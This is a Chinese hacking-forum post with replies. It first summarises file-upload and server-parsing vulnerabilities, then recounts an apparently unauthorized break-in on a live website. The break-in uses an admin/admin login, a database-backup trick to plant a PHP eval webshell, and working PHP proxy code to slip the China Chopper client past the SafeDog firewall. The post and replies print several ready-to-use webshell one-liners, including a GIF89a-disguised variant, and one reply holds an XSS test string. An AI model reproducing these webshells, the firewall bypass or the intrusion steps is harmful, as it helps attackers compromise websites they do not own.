用户
搜索

该用户从未签到

i春秋-脚本小子

Rank: 2

1

主题

40

帖子

98

魔法币
收听
0
粉丝
1
注册时间
2017-3-22
发表于 2018-1-7 17:10:03 31534778
——人的理想志向往往和他的能力成正比。

在这里整理一些自己最近学习的文件上传的知识,方便自己回忆和深刻记忆(不全,只是将自己不知道的原理以及技巧分享出来)。
文件上传漏洞的几种情况(在ichunqiu的博客园扒的 - -。):
MIME类型绕过漏洞(就是content-type:)
文件内容检测绕过
空字节截断(%00,0x00)
解析导致的文件上传漏洞:
IIS6.0/IIS7.0/IIS7.5(后面细说)
Apache站上的解析缺陷绕过上传
htaccess文件上传解析漏洞

还有就是各种cms漏洞以及编辑器漏洞获取webshell。

接下来我来说说个别漏洞的成因原理,我觉得应该不止我一个人不知道这些漏洞原理的(反正我之前没去了解过),学习原理有一个好处就是,当我们遇到上传点了,一通瞎jb传,完了传不上去,不知道原因,总感觉自己哪个过程出错了。其实TM就是我不懂这些漏洞的原理,比如IIS7.5的cgi关了你看到了7.5的服务器,非tm要强行解析??(反正我有过)

先从IIS服务器开始吧(不对的地方欢迎给位大大指出):


IIS6.0 :
1.如果存在 a.asp目录,那么我们在该目录下上传的文件都会以asp解析 比如/a.asp/a.jpg
2.上传a.asp;.xx.jpg类型的文件,web服务器查到“;”会内存截断,所以就变成了a.asp文件,据说是iis的特性。
IIS7.0/7.5+Nginx≤0.8.37:
IIS7.0/7.5  由于PHP配置文件中,默认开启了cgi.fix_pathinfo,若url中存在 .php则iis交给php解析(所以不要怪解析漏洞不管用,可能是cgi被关闭了)
nginx和iis7.5类似,1.默认Fast-CGI开启状况下,上传一个x.jpg文件,内容为:  <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
访问../../../x.jpg/.php会在改目录下生成一个shell.php;
2.上传图片马 访问xxx.jpg%00.php执行代码----原理

Apache解析漏洞:
apache从右向左解析 所以  x.php.jpg文件将以x.php执行
还看到一篇文章是说 apache以moudle方式与php结合所以产生该漏洞,而以fastcgi方式则不存在该漏洞(这里我也不太懂,希望有大大可以给解释一下)


还要说一句,利用%00等的截断上传在php5.3.4以后就没有作用了,因为php5.3.4 修复了0字符。
漏洞上传绕过的具体姿势,见n牛的博客:这里


----------------------------------------万恶的分割线-------------------------------------------
最近两天在整理文件上传的姿势,基本上把网上能查到的都去学了一下姿势和原理,感觉成果还不错,今天就想着实战一下,找了一下自己手里有漏洞的站就试了一下手。


实战手里的这个站是个弱口令后台  http://xxx.com/admin/  账号密码 admin admin (其实现实中存在弱口令的网站有很多,即使不是以上这种 认真收集一下信息可能就会有意想不到的结果)废话不多说,进了后台看看。

刚一进来就发现了惊喜--“备份数据库”,呵 年轻人! 顿时觉得这个站八九不离十了。但是这两天研究了那么多上传姿势,我怎么甘心这么直接的getshell呢,所以准备来试试其他方法。


根据以有的信息, web服务器是iis的,但是哪个版本我TMD并没有发现(各位大大有什么方法可以交流一下,毕竟我是个新手菜比.. - -,),既然是iis的,就准备试试解析漏洞,找了个上传点先直接上传.asp文件试试(只要管理员不傻,这种情况基本不存在....),然后就..

将.asp改成.jpg传一下试试呢,卧槽,结果也不行?难不成不允许上传图片???然后试了一下正常图片

结果传上去了,那就很明显了,这个上传点不仅检查后缀名,文件类型,还检查文件内容。这时就想到了在n牛博客里看到的文件上传姿势,既然他检查文件内容那就加一个图片的头就好了。

ok,传上去了(这里传的php马),然后就尝试了各种方式改文件名,结果发现上传的图片被重命名了,这没办法了,解析漏洞也没得(敲黑板!iis7.5的话php默认开启cgi才存在畸形解析,而asp不存在cgi所以没有解析漏洞)所以我一怒之下! 呵,还是老老实实的数据库备份吧......
接下来的过程就没(整)有(篇)什(都)么(没)技术含量了,简单说一下过程吧,像这样

接下来访问该地址:

ojbk,我们的马儿欢快的传进去了,接下来就是掏出菜刀开干了,原本我以为一切如此顺利,结果连菜刀的时候他给老子爆这个??

我TM黑人问号脸,安全狗??好狗啊好狗,我手里又没有什么过狗刀,难道放弃了??  不存在的,忘记了在哪个牛的博客里看到了本地转发过狗的这个方法,还好当时记录了下来(我也套路一波)


先启动phpstudy,然后把我们的一句话马的地址插入到下面的代码里:
[PHP] 纯文本查看 复制代码
<?php $target="http://www.xxx.com/admin/Databackup/xxoo.php";//这个就是前面那个一句话的地址
$poststr='';
$i=0;foreach($_POST as $k=>$v){if(strstr($v, "base64_decode")){$v=str_replace("base64_decode(","",$v);$v=str_replace("))",")",$v);}else{if($k==="z0")$v=base64_decode($v);}$pp=$k."=".urlencode($v);
//echo($pp);
if($i!=0){$poststr=$poststr."&".$pp;}else{$poststr=$pp;}$i=$i+1;}$ch = curl_init();$curl_url = $target."?".$_SERVER['QUERY_STRING'];
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);echo $result;?>

然后我们打开菜刀,添加 “http://127.0.0.1/webshell.php?a=assert” 密码就是一句话的密码(那个webshell.php就是上面代码保存的名字,记得要放到www目录) 就成功绕过了这条狗了

呵,还真是一条可爱的狗呢,老子提起菜刀就是给你一顿抡!

哈哈,没有对网站做任何破坏,我也不说什么友情检测之类的虚伪的话,写了这篇文章来记录自己成长路上的点滴,每当看到自己搞不定的问题其他大牛分分钟搞定,也许这就是能让我前进的动力吧。前段时间一个学长告诉我,一定要自己多写东西,当然这个写不是写文章写博客,而是敲代码,从代码层面来理解漏洞的原理,所以最近在疯狂的 百度 google各种web漏洞的原理,然后去理解,虽然不一定理解的很透彻(毕竟我是新手菜比),但是依然学到了很多很多东西 把这些想法和做法分享给和我一样菜的小白,希望我们在这条路上一起前进,不忘初心,别走上一条不归路,共勉!




GIF89a<?php
        extract($REQUEST);@$a($_POST[slye])
?>

楼主上传的一句话是这个吧,我菜刀本地连接怎么失败了,密码是slye吧?
使用道具 举报 回复
职业养狐人 发表于 2018-1-8 00:49
现在上传头痛!白名单加强制改名,顺手检查内容过滤几个关键字……还特么不能截断…特么 ...

只能见招拆招喽,没招了那就提着刀去找管理员 - -,
使用道具 举报 回复
撕夜 发表于 2018-1-8 00:34
哪里不足求具体说一下,我只是整理了自己不太懂的地方

现在上传头痛!白名单加强制改名,顺手检查内容过滤几个关键字……还特么不能截断…特么
使用道具 举报 回复
Captain_X 发表于 2018-1-8 02:35
你好,我是后台运维人员,我已经呼叫妖妖零了,你明天你准备好收拾行李查水表吧,别怕~ ...

吓得我躲进了自己的小被子
使用道具 举报 回复
kiddson 发表于 2018-1-13 22:17
这个牛的博客是什么我要!

http://www.cnblogs.com/h4ck0ne/p/5154569.html  找了半天找到了
使用道具 举报 回复
职业养狐人 发表于 2018-1-8 00:06
结果上传你还是没有说到位

哪里不足求具体说一下,我只是整理了自己不太懂的地方
使用道具 举报 回复
石瞳 发表于 2018-1-11 18:04
GIF89a

楼主上传的一句话是这个吧,我菜刀本地连接怎么失败了,密码是slye吧? ...

密码错了
使用道具 举报 回复


GIF89a<?php
        extract($REQUEST);@$a($_POST[slye])
?>
使用道具 举报 回复
看看看看,学习学习
使用道具 举报 回复
感谢楼主分享
使用道具 举报 回复
发表于 2018-1-7 22:44:34
看看看看,学习学习
使用道具 举报 回复
结果上传你还是没有说到位
使用道具 举报 回复
发表于 2018-1-8 00:25:14
。。。。。。
使用道具 举报 回复
发表于 2018-1-8 02:35:24
你好,我是后台运维人员,我已经呼叫妖妖零了,你明天你准备好收拾行李查水表吧,别怕~
"><img src=1>
使用道具 举报 回复
非常感谢阿
使用道具 举报 回复
学习一下
使用道具 举报 回复
学习研究一下
使用道具 举报 回复
来看看   
使用道具 举报 回复
发表于 2018-1-8 09:42:35
可以的,写的不错。
使用道具 举报 回复
您需要登录后才可以回帖 登录 | 立即注册